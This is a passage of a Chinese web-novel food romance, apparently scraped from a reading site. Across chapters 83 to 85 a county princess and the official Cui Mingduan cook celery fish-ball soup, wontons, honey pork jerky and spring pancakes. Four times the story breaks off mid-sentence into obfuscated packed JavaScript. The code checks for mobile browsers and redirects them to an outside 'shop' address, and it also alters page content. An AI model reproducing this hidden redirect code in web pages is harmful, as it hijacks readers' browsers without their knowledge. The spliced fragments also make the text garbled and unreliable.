“大人吃芹菜么？” 萧鸣笙难得出声打断温吞的崔大人。 谁知，后者反而是释怀一笑，手未抬，便听得身旁的女子欢欣说道：“前日陛下要蔊菜，我这儿没有。但一直记着这事，便托袁志进城去，请范公子帮忙找找，谁家庄子上养着水芹。” “……” 这下，崔明端还没漾开的唇角，又骤然收了回去。 “大人可知，侯爷府上竟然就有！” “……” “就在大人来之前，刚刚送到。” “……” 崔明端难得说不出话来。最后，在她甚是期盼的目光下，跟着颔首，“臣，吃。” ——这教训，吃下来。 往后，谁再来跟他要东西，一律不给。 这水芹，是崔家庄子上养的。也不算什么稀罕物，冬日佐汤，总是会用到。 侯府未必没有。 可绪宁的鼻子灵，吃过崔家送给绪安的汤羹，觉着比自家的好，便让绪安跟崔明端要。不过是几根芹菜，崔明端身为夫子，自然是给了。 碍于小团子实在贪嘴，崔明端才没问是要作何用处。 这小子，竟也不告诉他，明日要好好教教绪安功课！ 眼下，某人心头郁郁。 可听她说要去灶房，人又急道：“郡主便是要做汤羹打发时间，也等身子好全了。” “前日听大人念起了杜工部的诗，小女一时羞愧，便也跟着看了看，发现其中一句：鲜鲰银丝脍，香芹碧涧羹[1]，很得我心。” 萧鸣笙说完，眉眼弯弯。这句话，她绕了几处弯子。 这句诗，自然不是在书房看到的。而且大诗人的诗，得的是她的胃。 “春秋鲫鱼最鲜美，今日没有鱼能款待大人。幸亏上回大人送的鱼，份量极多，鱼丸还剩了好些。不如就献丑，仿一仿大诗人所吃的碧涧羹。” 于是乎，从崔家庄子出来的细嫩芹菜，被洗净，叶子取用，横切成细碎的条状，茎也切小粒。 等着锅里水热，将冷冻在木盆雪里的鱼丸敲一块下来，放进锅里去暴力解冻。 这一回，作汤羹的，是素来就爱操心的崔明端。 只因她一句：听说大人在荀二郎府上是亲手做的玉茄鱼丸汤啊…… 他能亲手做一道汤羹给荀二郎吃，如何就不能操持这顿？ “臣，未曾学过，实在是献丑了。” “无妨，大人且看，小女也是不曾学过……只是梦里恍然，如有神助。大人天资不凡，定能烹制出佳肴美馔。” “……郡主谬赞了。”唉，她吹捧人，也实在是敷衍。上回的玉茄鱼丸汤，实在是不费什么功夫—— 今日这道，似乎也是如此。 也不管是不是错了顺序，将化开的鱼丸捞出。 两丈远的阿藤探头看着，心里啧啧称奇：要是让京城的人看到大人也能当炉卖羹汤，买羹的队伍能排到御街去。 关键时刻，阿草便要得用多了，赶忙是将锅里的水换了，示意大人往另外一锅煮。 水开，再下鱼丸，等着浮起来的功夫，崔明端稍稍喘气，垂眼去看灶前烤火的女子，眉目如画。 映着的，似乎便是忙乱的自己。 他忍住了，才没道一句煞风景的话：该下何种调料。 香芹碧涧羹……再读一回，他便也晓得她如何敢放心交由自己来做。 这道菜素雅，再多的调料，只会坏了其中香气。 撒了少许的盐，出锅。 两大碗热腾腾的鱼丸碧涧羹，便在灶房的大木桌上。 不说下厨是头一遭，崔明端也是头一回在灶房里用饭。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260116|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 鱼腥气一起，潦草也从小憩中醒来，自发跳上了木桌，一个劲要往里头伸爪。 好在萧鸣笙及时拿了个碗过来，才放在潦草面前。她身上有浓郁的橘子香气，小草利落远离。 “嗷……”萧鸣笙学着它的话，先行嗷了一声，她没功劳也是有苦劳的。 小草傲娇扒拉着崔大人。 苦劳在身的崔大人，清咳一声，“郡主先吃，不必理会它。” “猫猫，也是家里的一员。”某人义正词严说道，“这是它的饭盘” “……是，臣失言了。”崔明端难得挨了训，抱回了潦草，趁着汤羹放凉的功夫，也将那道没完成的口谕再摆上来，“郡主急症，陛下宽和，并未怪罪，只是……” “蔊菜，时下确是没有。” 萧鸣笙顶着崔大人抽查功课一样的目光，将自己对蔊菜的理解说了下去，“蔊菜虽是随处可见，可冬日的野地就是没有的……或许，陛下一开始并非是想要蔊菜，而是借着蔊菜点我呢……” 果不其然，崔明端便露出孺子可教的神色。 萧鸣笙便翘了唇角，也不知是谁逗谁了，“反正，小女没读过几本书，点我……我也是不知的！” “……” “不过，我虽没有蔊菜，但有芹菜啊，反正都是个菜，也是一样的。” 萧鸣笙故作无赖，崔明端轻轻抚摸着潦草的脑袋，安抚着躁动的小祖宗，反问道：“臣，亦是没读过几本书。这冬日，野地里也是没有芹菜的，不知郡主何故托人找了香芹？” 这下，轮到萧鸣笙语塞了。 与古代探花郎辩论，便是她做过最傻的事。 她要使的，是一个与芹菜相关的典故——芹献。 诚如她所言，她没读过几本书，但是美食相关的，看了不少。 譬如关于这道碧涧羹，还有另外一句重要的话。有人说，香芹，是微不足道的水草。杜甫为什么要如此歌咏它呢？他没有想到还有人要拿着香芹去进献给君主呢！[2] “郡主博学多识，连《列子》的典故也信手拈来。” 崔明端一笑，便是通晓她的想法。 宋国的农夫不知天下有大厦深宫、丝棉与狐貉皮裘，将自己晒太阳的暖和视为珍宝，欲献给国君以求重赏。乡里的富人以香芹作比，嘲笑他。［3］ 后来便用“芹献”来比喻所赠之物价值不高。 再后来，一个贬义之词，又成了谦辞。 自己封的异姓郡主敲了登闻鼓，陛下心中定有微词。 她若不剖白，这案子，即便是查出真相了，也会有更大的不白之冤等着。 一个在边关长大的将军之女，自然像个莽夫，就如宋国的农夫一样，见着了好东西，只想进献给天子。 这样一番赤诚心思，足矣。 她一个乡野郡主，冬日里哪来的芹菜？自然是找世家公子借的。 萧鸣笙觉着自己难得聪明了一把，怡然去看那碗芹菜鱼丸汤。 没有鲫鱼脍，鱼丸稍补一二。香芹青翠，汤清而馨香，恰如山间溪涧，而浮起的丸子，正是水里冒头的石块。 舀了一勺热汤，细细吹凉后，咸淡适宜，清新自然。 崔明端握着潦草的爪子，故作镇定，好不容易等着她品了一口。 眉眼舒展，似是合口的。 “大人天赋异禀，这汤味道极好。” “郡主客——” “侯府这芹菜水灵灵的，大人快尝尝。” 83.绉纱馄饨 吃着了自己做的汤羹，崔明端再带着自己送去萧家的香芹进宫去。 临走前，他终是找了个由头，“年下事多，臣恐分身乏术……待郡主身子好些，能否照顾潦草？” “大人家……无人能够照顾它么？”一身柑橘香气，行走的驱猫神器如是道。 “……衙署里有不少琐事，阿藤要跟着去。” “啊？那我就……等身子好了，再照顾一下潦草。” 一副勉为其难的模样。 要送猫的儿郎，像是钓鱼一般，心就随着钓线一抖一抖的。 他不是钓翁，是被钓的鱼儿，直钩就咬。 * 芹献，大抵是顺利的。 绪安隔日便过来了，说是太傅在讲列子。“唉……本公子就知道，我这伴读就是个凑数的，二皇子早已经读完了四书五经，可我还是个四岁的奶娃娃……” “噗……” 最大的震撼，便是小团子口口声声说自己是奶娃娃。萧鸣笙招了他在眼前，歪头去瞧他的虎头帽，才发现上头的眼珠子似乎是墨玉，也不知怎么粘上去的。 “上回托令兄带回的辣条，小公子吃了么？” “嗯嗯……” 说到那东西，绪安嘴角的口涎便要止不住了，“郡主姐姐，今日不吃旁的，还吃辣条么？” 还没等她应，绪安又赶忙捂了嘴，“糟了，我崔兄说郡主还在病中，是不能去灶房忙活的……” “好个奶娃娃，怎么就光记得你崔兄的话了？” 晕车后遗症，多躺躺便好了。 萧鸣笙今日起来，还练了好一会儿的箭。 调一调料汁，不是什么难事。 今日是大寒，小团子身上穿得是越发厚实，像个圆乎乎的汤丸子。 “我这儿还有你崔兄送的虾制成的虾仁和干贝，给你做一道热乎乎的汤羹吃，可好？” “好呀好呀，本公子爱吃海味。” 说到海味，绪安又将自己听来的话一骨碌说了出来，“我无意听二皇子身边的人说，郡主的封赏里，每年都会有不少珍贵的海货，也叫人贪了。那些大人都在查呢……” 由一个四岁的奶娃娃来说家里的贪污巨案，萧鸣笙略略丢脸，扶了额，便听得奶娃娃的雄心壮志，“那些黑心肝的，等本公子跟着师傅们读完书，也要做大官，将他们下大狱，秋后问斩。” “嘘……” 萧鸣笙爱怜将手搭在虎头帽，指尖下意识拨弄老虎的黑目，惹得团子也向上转着眼珠子。“你年纪小，可说不得这样打打杀杀的话，是会长不高的。” “真么？本公子来日还要同我崔兄一样高。” “当真。”萧·随口胡诌大师·鸣笙打趣道，“一直不曾去贵府拜访，侯爷不也是人人交口称赞的大将军么？小公子学崔大人作甚？” “可我爹没崔兄长得好看，崔兄的爹爹也好看……” “……” 好一个儿嫌爹丑！ 萧鸣笙生生是教小团子气笑了，偏绪安也学着她歪着脑袋，虎头帽摇摇欲坠，“本公子好看，是因为我娘亲长得美，和郡主一样……” 话未完，小团子水润的眸子又蓄满了泪珠。 “我……娘亲，也生得美，”萧鸣笙赶忙是掏了帕子，轻轻拂去泪珠，“所以呀，我们都长得美。” “那不一定。崔兄的爹爹就比娘亲还好看……” “咳咳……”萧鸣笙赶忙制止，小团子背后念叨自家爹娘也罢，论起旁人，可真要坏了德行。“我虽不是你们君子，可不能纵着你非礼勿言，是不是？若不然，小公子与我一同来包馄饨吃可好，将今日说得不好的话，包起来，再咽回肚里去。” “呜……” 也不知是哪一句又触动了小团子，方才还喜笑颜开的人，忽而是抱住了萧鸣笙，足足好半晌，才放开。可面上挂着的泪痕，是藏不住的。 头一回，萧鸣笙云里雾里。如今，她算是晓得了。这位口无遮拦的小团子约莫想起了生母。 果不其然，小团子吸吸鼻子，又道：“旁人都有母亲便罢了，偏还要来我面前说个不停。今日他母亲做何事，给他做了什么菜，绣了什么花……哼……本公子才不稀罕！” “呀，小公子竟是不稀罕么？我原想做道点心，明日小公子也拿到旁人面前去炫耀一番呢。” “啊？” “蜜汁猪肉脯，甜的，不辣的。” “呜……” 光是这几个字，小公子已经将口水收了好几回了。 要做猪肉脯，也不难。 因着绪安爱吃萧家的香肠，来的时候，足足带了两大盆猪肉酱。 绪宁还笑话他：“郡主已经将方子给了我们，你小子倒是脸大，皮也厚，还敢劳累郡主亲自下厨做给你吃。改日让崔大人知道，非得打你手心。” “哼，兄长你可快出门赚钱去！”绪安用头将人顶出了门。兄长手下的人，怎么能和郡主比？他们做出的东西，一股铜臭味。 幸亏这句真心话没让绪宁听见，否则必得揶揄他几句：好一个奶娃娃就懂什么事铜臭味？一饮一食，哪里不要钱？还装起了清高。 可绪安如今就是不知天高地厚的奶娃娃，就喜爱同香香的人在一处玩，吃香香的东西。 肉酱，他带来了，郡主加个调料就好。 萧鸣笙瞧着那两大盆，全部做成猪肉脯，能把面包炉累死。 便如了小团子的意，一部分拿去灌香肠，一部分用来做馄饨的馅料，剩下，则是用来烤肉脯。将适量的糖、盐、酱油、料酒、胡椒粉加进去肉酱里腌制。 “郡主，这个粉，能不能少加一点，辣的。” 萧鸣笙掂着手里的胡椒粉罐子，笑道，“你竟和南人一样，吃不得一点辣的么？” “阿嚏……” “……” 好极了，原不是吃的。而是围观出来的辣。 腌制也需要时间。 萧鸣笙便带着人去练箭，谁知绪安嘴上不牢靠，箭术也…… 相当不行。 看着在雪地里扑腾的箭羽，萧鸣笙着实没忍住笑出声。 随即看到小团子含泪，泫然欲泣的模样。 “呀……我，只是想到了好笑的事。” “本公子还不够好笑嘛？” “唔……”更想笑了。 团子生气跑去捡箭，险些一头扎进雪里，还是袁志眼疾手快将人提了回来。 “兔子。”阿草嘀咕一句。 这下，萧鸣笙是再忍不住大乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273798|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，袁志可不就是提兔子的手法么？ “啊……你们都欺负本公子……”绪安扑腾了两下，可被提着回来省事，不用走路，也就不扑腾了。 “这是你崔兄幼时练的弓箭，或是他没将四岁的送来，不如小公子改日另带了合适的弓来。我们便不练箭了，我教你包馄饨吧，崔大人或许也不会包馄饨呢！” 一贯要强的人，眨着眼睛，好半晌才露了个笑。 一行人又欢欢喜喜回去包馄饨。 制作馄饨皮的面团，加鸡蛋、盐、水揉成光滑形态，再醒两刻钟。 卢妈妈很会揉面，也照着主子的吩咐将馄饨皮擀制出来。 绪安见着薄薄一片，还能透光，顿时吸溜了口水。“郡主，这馄饨皮薄，我爱吃的。” 当馄饨包起时，绪安才知皮薄，也有皮薄的坏处。 一不留神，就破皮了。 几番下来，浪费了不少。 “我崔兄在这儿，是不是也是吃白食的？” 绪安仿佛是找到了和解的法子，萧鸣笙也开解道：“小公子远道来一趟，能留下用饭，热热闹闹的，便足矣。” 但绪安不服输，再学着她四指并拢，微微弯起，萧鸣笙替他舀了肉馅放在上头，手把手教他回拢，再放开。 这一回，手心里果然完整躺着个小馄饨。“诶……好像肚子没撑破……” 成功了一回，他的干劲也足，帮着包了不少。 萧鸣笙特意用了另外一个盘子装着，“等下带回家去，让侯爷和大公子瞧瞧。” “嗯嗯，就该让他们看看，本公子果然很能干。来日兄长要摆摊卖馄饨，我还能包馄饨。” 绪安嘿嘿傻笑，早已忘了出门前嫌弃兄长一身铜臭味。 * 绉纱馄饨的吃法，也是有讲究的。 先摆上大海碗，往里头调好汤底：放少许盐、糖、白胡椒粉、小虾皮、紫菜、猪油，再淋上两勺滚烫的鸡汤，搅拌均匀。 而小馄饨，先放在笊篱上，再放入锅里，由着滚开的水烫熟底部，再倒入煮至浮起捞出，加上切好的蛋皮、葱花。根据个人口味，淋上少许的麻油。 一大碗香喷喷又好看的绉纱馄饨便好了。 绪安舀了一个，认真盯着上头皱皱巴巴，又透明的皮，“我吃过的，皮都很厚，本公子肚子又小，光吃皮，两个就饱了，我可不爱吃。还是郡主家的东西好。” “还没尝呢就夸了，小公子仔细吹凉了，尝尝肉馅可喜欢？”萧鸣笙也是不喜欢吃厚皮的。 绪安老老实实点头，呼了半晌，才敢去咬，皮一咬就破，肉馅带着虾仁，没有腥味，“好吃。郡主姐姐，这馅也好吃。” 这下，大家对美食的评价，就只有“好吃”一词了。 汤底用了紫菜，馅料有虾仁，改刀成小粒，拌入肉酱，加芝麻油拌匀。 这都对上了绪安喜爱的海货味道。 他连汤带馄饨都吃了个干净，还意犹未尽。 “呀，是否忘了今日还要吃蜜汁肉脯？留些位置出来可好？”萧鸣笙又轻声哄道。 绪安吃饱了，脑仁更是迟钝。父兄可不会这样哄着他。唔……退一步讲，郡主怎么不能是他家人呢？ “郡主，你真的会同崔兄成婚么？” 84.蜜汁肉脯 这一问，当真是把萧鸣笙问住了。 如果遵从本心，她本就无意于这桩亲事，这口无遮拦的小团子必能将真相告知他家崔兄。 而后…… 那人该是要骑着汗血宝马过来，再恭恭敬敬称臣。 唉…… 她再叹一声，绪安见好就收，赶忙道：“郡主，是我失言了……” “可不是失言么？” 随之而来的，是道长的标志性气鼓鼓的声音。 “小公子年纪小，志向却不小。” 来者衣袂翩翩，黑色道袍沾着雪点子。不说萧鸣笙惊讶，连绪安也险些从木凳摔下，“崔兄的爹……” “哈哈……好别致的称呼，若不然喊我崔爹爹，让我也占占侯爷的便宜，白捡这么伶俐一儿子，不错不错……” 绪安大抵是属螃蟹的，见了人就张开双臂要抱。 道长爱哄人，自然是一把捞起，罕见沉了沉腰。绪安被人抱过多回，自然是知道真相的。 偏道长还要打趣道：“听说在岭南之地，有一巨石，像极了孔明在祭台祈求东风的模样，当地百姓称之为借东风石，不知侯府里是藏着什么好宝贝，让小公子揣着，这样沉甸甸的？” “呜……”小团子望向萧鸣笙。往日崔兄说他，他还能大言不惭回：崔兄你欺负我，我要告诉你爹去。眼下，他总不能说，崔兄爹爹你欺负我，我要告诉崔兄去？ 好在萧鸣笙适时解围，“道长今日怎么过来了？吃饭么？” “尚未。”云来道长将小团子掂了又掂，再笑眯眯道，“往后，不叫道长了。” 萧家的灶火，再度燃了起来。 吃了八分饱的小团子便成了只叽叽喳喳的山鸟，一个劲给崔三爷介绍今日午食。 崔三爷手酸，要将人放下，谁知，团子搂紧他脖子，又使出哭戏。 偏崔三爷也吃这套，大抵也知侯爷腿疾，不便抱抱这孩子。“六郎幼时，倒不像你这样黏人。也好。” “崔兄自是大丈夫，我不过是个奶娃娃。” “哈哈……正是这理。” …… 绉纱馄饨再出锅，萧鸣笙已带着小团子在刷蜂蜜水。 在铁盘子铺上两倍大的油纸，舀一勺腌制好的肉酱，用竹片刮平整，放入面包炉里烤。不到一刻钟的功夫，就拿出来刷了两次蜂蜜水。 “你这孩子，倒是有心了……” 道长——哦不，吃饱了的崔三爷也学着他们猫着腰去嗅面包炉的香气。 萧鸣笙也知他吃完饭就要走，便打铁趁热问道：“听说三爷……” “叫叔父。” “……” “郡主总不能和绪安一样叫我崔兄爹爹吧？” “听说叔父被指派了要紧的差事……” 萧鸣笙微微发窘。她自然不能跟着小团子胡闹。 “吉安府，这差事，要紧倒是不要紧，只是办不好，容易要了脑袋——” “郡主说不能讲打打杀杀的事……” 绪安很是正经扶了扶崔三爷的脑袋。 “哈哈，你这小子，口舌比你爹强不少……待你长大，四方边境也安宁了，留经京里做个官，每日能气倒不少大臣。” 崔三爷又是一顿笑。 萧鸣笙却听出认真之意。侯爷为国戍边一辈子，小团子是该好好在京。 才一想起，脑仁便倏然一疼。 穿越初，那遮天蔽日的血腥场景又一闪而过。 原身她孤身一人，行走在荒野里…… 萧鸣笙顿觉眼前一黑，险些跌倒，好在及时扶住了木边。 崔三爷似乎是看出什么，但没多言，只是将绪安放在凳子上，再接替她把另外一面也刷上蜂蜜水。 “小公子能吃芝麻么？可以撒上些白芝麻。” “能撒黑的么？” “可以……” “那好，我要撒些黑的，给我兄长吃，他是黑心肝！老是偷我的香肠和面包！” 有人念着，未尝不是福气？ 萧鸣笙纵着他，崔三爷也哈哈大笑，“我的心肝，也瞧不见是什么颜色。多下一点黑的，我也尝尝。” 各自撒了黑芝麻和白芝麻，放进去再烤一次，冷却后就能脱模。 由道长执刀，将凹凸不平的边缘切开，偷一条，便拈起塞到小团子唇边，“尝尝郡主的手艺。” 第二条，切的稍稍长了些，用筷子夹到了萧鸣笙眼前。“你也尝尝。” 猪肉脯色泽红亮，上头泛着油光，白芝麻成了画龙点睛之笔。 第三块，给了阿草。 她有些受宠若惊，“谢将军……” 这一回，崔三爷既没纠正称呼，也没气鼓鼓的，反而是就着话说下去，“我这一回做的，不是将军。不过，来日，再挣个将军回来，好让你喊得名正言顺。” “嗯。”阿草重重点头，护着手里那根比郡主更长的肉条往外跑去。 细听之下，是呼唤袁志的声音。不用说，是同他分享好东西了。 崔三爷也借此同萧鸣笙说起阿草的头疾，“御医院里，原本有位妙手回春的御医，常在阎王手里抢人。不过这些年云游去了……等我赴任，再找一找，请他回京一趟。” 刚出炉的肉脯被切成了平整的一小块。 崔明端来的时候，也不是下值时辰。迈步进来，看到一身道袍的父亲，脚步仍是顿了顿。 “吃猪肉脯么？”崔三爷扭头，话音随意自然。 崔明端有一瞬以为是在梦中。父亲没有去眠山修道，只是外出访友归来，尚未梳洗罢了。 “父亲……” “嗯，”崔三爷随口应下，又问了一声，“吃肉脯么？呆愣着作甚？” “儿子吃……” 崔明端再后知后觉应下，再望向坐着的的人。 她神色淡然自不必说，绪安也叼着根肉条，呼哧呼哧啃得欢。“崔兄，你来啦，坐。” “……” 崔明端应邀找了个位置坐下，尚未抬头揉揉额角，袖口的猫，便钻了出来。 “呦，小草。” 萧鸣笙将手里吃剩那条去逗它。今日晕症缓解了不少，没再抱着橘子，潦草也算是赏面，挺着鼻子嗅了嗅，试探性一步一步过来了。 阴阳两色的耳朵，随之一动一动的。 父子俩也旁若无人说起了话，“陛下不是给了我两道圣旨么？这两日是在忙什么？” “儿子……”崔明端口舌伶俐，到底也不及父亲。 他想的是，如何帮父亲推了这桩任命。 “吉安府，远是远了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283375|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些。不过这些年运河疏通，往来更加便捷。为父去了，也能时时捎些好东西给你们尝尝。” 崔三爷一视同仁，也将切出来的边角料给了崔明端，“我想想，眼下大寒，离荔枝成熟也不远了。鸣笙想吃荔枝么？” “啊？” 一心在逗猫的人尚未发觉道长喊了自己的名字。 按理来说，女子的闺名——崔三爷就算是作为叔父，能直接喊出来么？ 她瞟了崔明端，手里的肉条被潦草扒拉走了也没留意到，“荔枝……我读过‘一骑红尘妃子笑，无人知是荔枝来’，京城的荔枝……” “看吧，近日这桩案子，该查的地方多着呢。”崔三爷对着皇城的方向嗤笑道，“自南华郡能种荔枝，这些年贡来京城的，新鲜了不少。六郎不喜欢吃，便给鸣笙吃吧。” 连六月贡荔枝的事，都交代好了。崔三爷是当真要接吉安府这烫手的差事。 辞官不受，并非没有先例。 只是，他道心不坚，既放不下这孩子，也牵挂着六郎。 崔明端今日过来，一是探她的病，二来，也是想顺道再去一趟眠山。便是父亲不见自己，见见观主也是可的。 回城时，绪安已经睡着。 就由崔明端抱着回去。 原是崔三爷要抱的，崔明端比阿藤更快动作。 比起前几回搬木头的手法，是熟稔精道了不少。 崔三爷唯一担心的，便是萧鸣笙了。 走前，指着呜呜的北风，叮嘱道：“虽说一候鸡乳，京城的天，还是冷得很。孵蛋的事，不必操之过急。且看征鸟厉疾，你们这小身板，也少出门走动，万一遇到个猛禽，一把抓了去，也不无可能。” 说的是猛禽，何尝不是不要命的猛人？ 萧鸣笙自知贪腐案牵涉甚广，便老老实实在家猫冬养病，练习箭术，行商诸事，便由三位公子去做。 临上马车前，绪安醒了过来。他心里一直惦记个事，说什么都要凑到萧鸣笙耳旁去说。 无法，崔明端便只能抱着人，往她那处挪了几步。 “崔兄，再向前点。” “……” “崔兄，要不你把本公子放下来，让郡主屈尊蹲下来便是。” 外头又下起了雪，他的鹿皮靴子是暖，也怕他胡闹进了雪。 崔明端便绷着身子，再度挪了一步。 绪安整个身子都探了出去，萧鸣笙怕他摔了，上前一大步，堪堪接住人，还没来得及松口气，耳边便有一个极低的声音，“其实，我爹不想我练箭。也不让旁人晓得我会。” 嗯？ 萧鸣笙转折眼珠子，还没理一理。 人已经交由崔大人揽了回去，也不知听没听见，端方君子的耳根是红的。 而到了马车之上，绪安这鬼灵精，还缠着要崔三爷抱，“呀，崔兄你爹都回来了，那往后我还能报一报你爹的名号。看京城人谁敢欺负我？” “哈哈……” 崔三爷不置可否，权当绪安是个大暖炉，手法粗暴抱着暖和身子。 山路迢迢，他闭目假寐，反倒是又把绪安哄睡了。 崔三爷又睁眼，看六郎对着绪安一脸怜爱之情，不免叹了口气，“我要去吉安，也不知几时能回来。有个事，你需得想清楚……” 85.咬春 “父亲但说无妨。” “鸣笙的身子，格外弱了些。纵是你心悦，来日总是要为子嗣考虑……” “父亲……” 崔明端难得出声打断，沉思半晌才道，“而今，陛下尚未明旨几时成婚……” “伴君如伴虎。其中艰辛，你比我更懂。” 崔三爷也叹道，“不过，圣上是明君，这事便简单的多。过了年，你也二十有五了，总不能一直拖到你而立之年去。此事，若是鸣笙不急，你也无需急躁，朝野自有人会在陛下跟前提及。” “父亲深谋远虑，儿子自愧不如。” 崔明端应下。也不便告诉父亲，她大抵是真不急，而自己急么？ 受马车颠簸，袖中揣着的潦草咕噜咕噜动着。胸膛那颗不安分的心，大抵也是如此吧。 梅花坞幽静清旷，车厢仅有车轱辘响动的声音。 而马车上方，盘旋着只体型颇大的鹰，像片黑云萦绕不去。它仿佛饿到了极致，势必要抓只猎物回去。 * 京中各处忙到了年下，登闻鼓院也没结案。 立春之日，东风解冻。梅花坞的梅树众多，这处谢了，那儿又开了，总是花团锦簇。 猫了半个月，萧鸣笙抱着小草在廊下伸懒腰。 是的没错，潦草已经成了她的猫，赶着在下一场大雪来之前。 崔大人就将潦草的一应用具送了来，阿藤还特意留下住了两晚，美其名曰，帮着贵人驯猫。 “大人说了，让小人跟着袁侍卫挤一挤就是了，或是猫在潦草身旁对付一宿。” 崔大人将好话留给了她来说。 那两日，潦草自然是跟着阿藤睡的，萧家旁的没有，房间多的是，重新收拾一间出来。 潦草在崔家，原也是跟着阿藤睡，可它机灵着呢，知道哪里的炭火最暖。在萧家，亦然。 不用阿藤哄骗，也没等萧鸣笙拿出自制猫条，猫儿已经跳上了她床榻，再端坐打量她。 “嗷……你这样不说话看着我，可真是像极了崔大人。”萧鸣笙试探性伸手，给它闻闻自个儿的味道。 潦草低头嗅嗅，等两脚兽轻轻给它脑袋挠痒，便舒服眯了眯眼睛。 如此，潦草便正式成为萧家的猫——小草。 白日里，是阿草跟它玩得最多。 阿藤交代过，不可让它多睡，多玩一玩，夜里跟着贵人才会安眠。 那小草能玩的东西，可比崔家更多。从灶房里取来引火的稻杆，就是天然的逗猫棒。 卢妈妈原先是怕猫儿搅了郡主养病，可潦草来了几日，不说是郡主了，就连是袁志，也跟着话多起来。有一回，她还撞见袁志在同小草说话，不过声音太低，隐隐听到两个“草”，其余的就不太清楚了。 萧鸣笙抱着小草舒展了身子，去灶房预备春饼的饼皮。 舀面粉，第一下，只有半勺。 空气里飘浮着面粉，潦草喵呜了一声。 “呀，还得预备你的份，是么？” 萧鸣笙便再多舀了半勺。 阿草探头看了那份量，小声道：“多了？” “……不会的。”这半勺，是给潦草预备的。但今日风暖了起来，也不知梅花坞会不会迎来贵客。多备点，总没错。 加水搅拌成棉絮状，再揉成光滑的面团。 萧鸣笙退居揉面二线已多时，阿草都自告奋勇接过了卢妈妈的活计，“我力气大，来揉面正好。” 揉好，盖上湿布去醒两刻钟。 这空隙，正好去预备配菜。内侍省送的东西，十分齐全。 胡瓜、胡萝卜、韭菜和豆芽，都是新鲜的。 萧鸣笙拿着胡瓜多看了两眼，在日影下，瓜皮上的小刺还直挺挺的。 “是这胡瓜有什么问题吗？” 阿草将手上的面泥洗干净，也凑近看了看。 “一点问题也没有，反而是十分新鲜。” “那郡主在看什么？” “我看的……” 萧鸣笙也是有口难言，但也拣了话告诉阿草，“我想，包子家或许也在做春饼，只是不一定有胡瓜。地里还是硬，胡瓜都没能种下去呢。” 也不知这儿的百姓几时也能像她这样在立春就能吃到夏日的胡瓜。 也知这是奢望，忧虑也深远，萧鸣笙没多纠结，把瓜洗干净，让阿草这个快刀手将胡瓜切成细条。 胡萝卜也是如此。 而韭菜和豆芽则是简单焯水煮熟，放在一旁备用。 等着春饼的皮擀出来，像擀饺子皮一样，大小均匀，又前后涂上冷却后的油，一张一张叠起来，再用擀面杖将四周轻轻擀平，再放蒸屉上，冷水上锅，一刻钟便好。 饼皮还没熟，方才念叨的包子已经登门了。 他这回来，面上多了些羞涩的笑。 “姑娘……我家买了个石磨……你们吃豆腐么？” “呀，几时买的？这样大的物件，定是要不少银子吧？” “嘿嘿，也不要多少钱。有户人家从前就是做豆腐的，只是现在不做了，那石磨就闲了下来，就收了一点点钱。” 包子怀中还抱着个柳条篮子，上头盖着一条干净的棉布。掀开一角，盘子里头叠着好几块豆腐，白白嫩嫩。 “呀，这豆腐做得可真好……是已经进城去卖了么？” “嘿嘿，我阿娘同伯母学的，今日只是做的头一遭，除了送给姑娘这儿，剩下的就送了村里人，明日才开始进城去卖。” 包大娘还曾提出以新木置换老木的法子，如何与村民相处，自，萧鸣笙便也安心收了，又让包子等一等，“我在做春饼，你等一会儿，尝尝我的手艺。” 蒸好的饼皮，从上面开始揭，薄如白纸，能透光看清手指。 包子转着眼珠子看姑娘的手指比自己的豆腐都白，连坐也坐不安稳了。 萧鸣笙也知他懂事，并没勉强他留下吃，替他多卷了几个。“左边的，是抹的甜面酱；右边这几个，是香辣的肉酱。你带回去给你爹娘尝尝，也替我谢谢你娘的豆腐。” 山下茶楼的地基，已经开始挖了。 来日，自然是有用到豆腐时。只是，萧鸣笙也不敢打包票，“我常听人说，撑船打铁磨豆腐，都是苦差事。不过，再难的差事，像你家伯父，也能因此发家。眼下冬日，大家都没几个菜，卖豆腐正正好呢…… 这样，每日也给我留五块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299701|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 